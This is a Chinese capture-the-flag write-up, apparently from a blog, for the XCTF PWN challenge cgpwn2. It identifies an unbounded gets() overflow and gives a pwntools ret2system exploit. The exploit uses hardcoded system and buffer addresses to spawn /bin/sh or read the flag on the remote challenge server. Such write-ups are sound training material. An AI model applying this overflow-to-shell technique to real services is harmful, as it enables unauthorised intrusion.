cgpwn2的Wp

攻防世界PWN

CGPWN2的wp

基本三步:checksec,file,执行文件

在这里插入图片描述
一个32位文件,开了NX防护,扔进IDA中查看

IDA

main中只有一个函数hello,点击查看
在这里插入图片描述
在我看来上面那一段,没什么太大意义,主要要是框起来的一部分
在这里插入图片描述
可以看出,我们有两次输入,一次fgets输入规定了长度,而第二次gets没有规定,所有这里有个漏洞。
看下列表中的其他函数发现在pwn函数中调用了system函数,
在这里插入图片描述"echo hehehe"这条命令没什么作用,所以要将参数改为’\bin\sh’命令(执行shell)或’cat flag’(直接获取flag)命令。
通过给name赋值,把cat flag或/bin/sh命令
#system函数的地址和name的地址
在这里插入图片描述
sys_adder = 0x08048420
在这里插入图片描述
name_adder = 0x0804A080

在这里插入图片描述

0x26+4即可到达返回地址。

EXP

from pwn import *
r = remote(“111.200.241.244”,58106)
#r = process("./cgpwn")
sys_adder = 0x08048420
name_adder = 0x0804A080
payload = b’a’*0x26+b’aaaa’ + p32(sys_adder) + b’a’*4 +p32(name_adder)
r.recvuntil(“your name”)
b’please tell me your name’
r.sendline("/bin/sh")
#r.sendline(“cat flag”)
r.recvuntil(“leave some message here:”)
b’\nhello,you can leave some message here:’
r.sendline(payload)
r.interactive()
cat flag成功获取flag。
在这里插入图片描述
还有一种是给name赋值cat flag
在这里插入图片描述

六级标题
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值